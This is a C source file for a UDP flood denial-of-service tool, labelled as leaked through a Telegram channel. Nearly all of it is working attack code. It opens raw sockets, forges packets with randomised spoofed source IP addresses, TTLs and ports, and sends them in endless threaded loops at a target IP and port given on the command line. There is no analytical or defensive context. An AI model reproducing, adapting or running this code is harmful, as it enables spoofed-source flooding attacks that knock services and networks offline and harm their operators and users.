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//LEAKED By RPP33, CAT LEAKS: https://t.me/catleaks
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#include <time.h>
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#include <pthread.h>
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#include <stdio.h>
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#include <unistd.h>
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#include <string.h>
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#include <sys/socket.h>
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#include <stdlib.h>
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#include <errno.h>
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#include <netinet/udp.h>
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#include <netinet/ip.h>
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#define PHI 0x9e3779b9
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#define MAXPPS 2000000
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volatile uint32_t ipaddresses[MAXPPS];
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volatile unsigned int sequences[MAXPPS];
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volatile unsigned int pids[MAXPPS];
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volatile int fvports[MAXPPS];
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volatile int fvttl[MAXPPS];
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volatile int currentsec = 0;
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volatile int countip = 0;
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static uint32_t Q[4096], c = 362436;
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struct thread_data
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{
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int thread_id;
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struct sockaddr_in sin;
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};
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struct pseudo_header
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{
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u_int32_t source_address;
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u_int32_t dest_address;
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u_int8_t placeholder;
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u_int8_t protocol;
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u_int16_t udp_length;
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};
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void init_rand(uint32_t x)
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{
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int i;
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Q[0] = x;
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Q[1] = x + PHI;
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Q[2] = x + PHI + PHI;
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for (i = 3; i < 4096; i++)
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Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
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}
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uint32_t rand_cmwc(void)
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{
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uint64_t t, a = 18782LL;
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static uint32_t i = 4095;
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uint32_t x, r = 0xfffffffe;
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i = (i + 1) & 4095;
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t = a * Q[i] + c;
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c = (t >> 32);
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x = t + c;
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if (x < c)
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{
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x++;
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c++;
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}
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return (Q[i] = r - x);
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}
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unsigned short csum(unsigned short *ptr, int nbytes)
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{
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register long sum;
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unsigned short oddbyte;
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register short answer;
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sum = 0;
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while (nbytes > 1)
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{
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sum += *ptr++;
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nbytes -= 2;
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}
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if (nbytes == 1)
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{
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oddbyte = 0;
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*((u_char *)&oddbyte) = *(u_char *)ptr;
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sum += oddbyte;
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}
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sum = (sum >> 16) + (sum & 0xffff);
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sum = sum + (sum >> 16);
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answer = (short)~sum;
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return (answer);
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}
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void *flood(void *par1)
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{
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struct thread_data *td = (struct thread_data *)par1;
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printf("Thread %i started\n", td->thread_id);
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int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
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if (s == -1){
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perror("Failed to create raw socket");
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exit(1);
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}
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uint32_t random_num;
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uint32_t ul_dst;
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init_rand(time(NULL));
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int sent, sent_size;
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struct sockaddr_in servaddr = td->sin;
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char datagram[512], *data, *pseudogram;
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memset(datagram, 0, 512);
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struct iphdr *iph = (struct iphdr *)datagram;
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struct udphdr *udph = (struct udphdr *)(datagram + sizeof(struct ip));
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struct sockaddr_in sin = td->sin;
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struct pseudo_header psh;
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data = datagram + sizeof(struct iphdr) + sizeof(struct udphdr);
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iph->ihl = 5;
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iph->version = 4;
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iph->tos = 0;
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iph->protocol = 17;
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iph->check = 0;
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iph->daddr = sin.sin_addr.s_addr;
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psh.dest_address = sin.sin_addr.s_addr;
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udph->dest = sin.sin_port;
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psh.placeholder = 0;
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psh.protocol = 17;
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int attls[13] = {188, 154, 178, 164};
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while (1)
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{
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if (currentsec == (int)time(NULL)){
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if (countip >= MAXPPS)
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continue;
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countip = countip + 1;
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sequences[countip] = sequences[countip] + 1;
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if (ipaddresses[countip] == 0){
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random_num = rand_cmwc();
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ipaddresses[countip] = (random_num >> 24 & 0xFF) << 24 | (random_num >> 16 & 0xFF) << 16 | (random_num >> 8 & 0xFF) << 8 | (random_num & 0xFF);
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fvttl[countip] = (rand_cmwc() & 0x2 > 1 ? attls[(rand_cmwc() & 0x3)] + (rand_cmwc() & 0x4) : attls[(rand_cmwc() & 0x3)] - (rand_cmwc() & 0x7));
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fvports[countip] = random_num & 0xFFFF;
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ipaddresses[countip] = rand_cmwc() % 0xFFFFFFFF;
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if (ipaddresses[countip] == 0){
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continue;
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}
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}
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if (pids[countip] == 0){
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pids[countip] = rand_cmwc() % 0xFFFF;
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}
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}else{
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currentsec = (int)time(NULL);
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countip = 0;
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continue;
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}
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unsigned char strdata1[2048 + 1];
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while (strlen(strdata1) < 20 + (rand_cmwc() % 0x50))
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{
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sprintf(strdata1, "%s%c", strdata1, rand_cmwc() % 0x7F);
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}
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strcpy(data, strdata1);
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memset(strdata1, 0, strlen(strdata1));
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random_num = rand_cmwc();
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iph->saddr = ipaddresses[countip];
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iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + strlen(data);
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iph->id = pids[countip];
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iph->check = csum((unsigned short *)datagram, iph->tot_len);
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iph->ttl = fvttl[countip];
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iph->frag_off = (random_num & 0x04 < 3 ? htons(0 | IP_DF) : 0);
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udph->source = fvports[countip];
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udph->len = htons(8 + strlen(data));
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udph->check = 0;
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psh.source_address = ipaddresses[countip];
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psh.udp_length = htons(sizeof(struct udphdr) + strlen(data));
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int psize = sizeof(struct pseudo_header) + sizeof(struct udphdr) + strlen(data);
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pseudogram = malloc(psize);
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memcpy(pseudogram, (char *)&psh, sizeof(struct pseudo_header));
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memcpy(pseudogram + sizeof(struct pseudo_header), udph, sizeof(struct udphdr) + strlen(data));
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udph->check = csum((unsigned short *)pseudogram, psize);
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if (sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
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{
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// Packet not sent
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}
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}
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sleep(1);
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}
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int main(int argc, char *argv[])
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{
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if (argc < 4)
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{
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printf("Invalid parameters!\n");
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printf("UFWSI\n");
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printf("Usage: %s <IP> <Port> <threads> <time (optional)>\n", argv[0]);
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exit(-1);
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}
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fprintf(stdout, "Setting up Sockets...\n");
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unsigned int vc_port = atoi(argv[2]);
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int num_threads = atoi(argv[3]);
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pthread_t thread[num_threads];
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struct sockaddr_in sin;
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sin.sin_family = AF_INET;
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sin.sin_addr.s_addr = inet_addr(argv[1]);
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sin.sin_port = htons(vc_port);
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struct thread_data td[num_threads];
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int sx = 0;
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int i = 0;
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int countwin = 0;
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int countlin = 0;
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for (i = 0; i < MAXPPS; i++)
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{
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ipaddresses[i] = 0;
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sequences[i] = 0;
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pids[i] = 0;
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}
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for (i = 0; i < num_threads; i++)
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{
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sx++;
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td[i].thread_id = i;
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td[i].sin = sin;
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pthread_create(&thread[i], NULL, &flood, (void *)&td[i]);
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}
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fprintf(stdout, "Starting Flood...\n");
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if (argc > 4)
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{
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sleep(atoi(argv[4]));
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}
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else
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{
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while (1)
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{
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}
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}
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return 0;
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}
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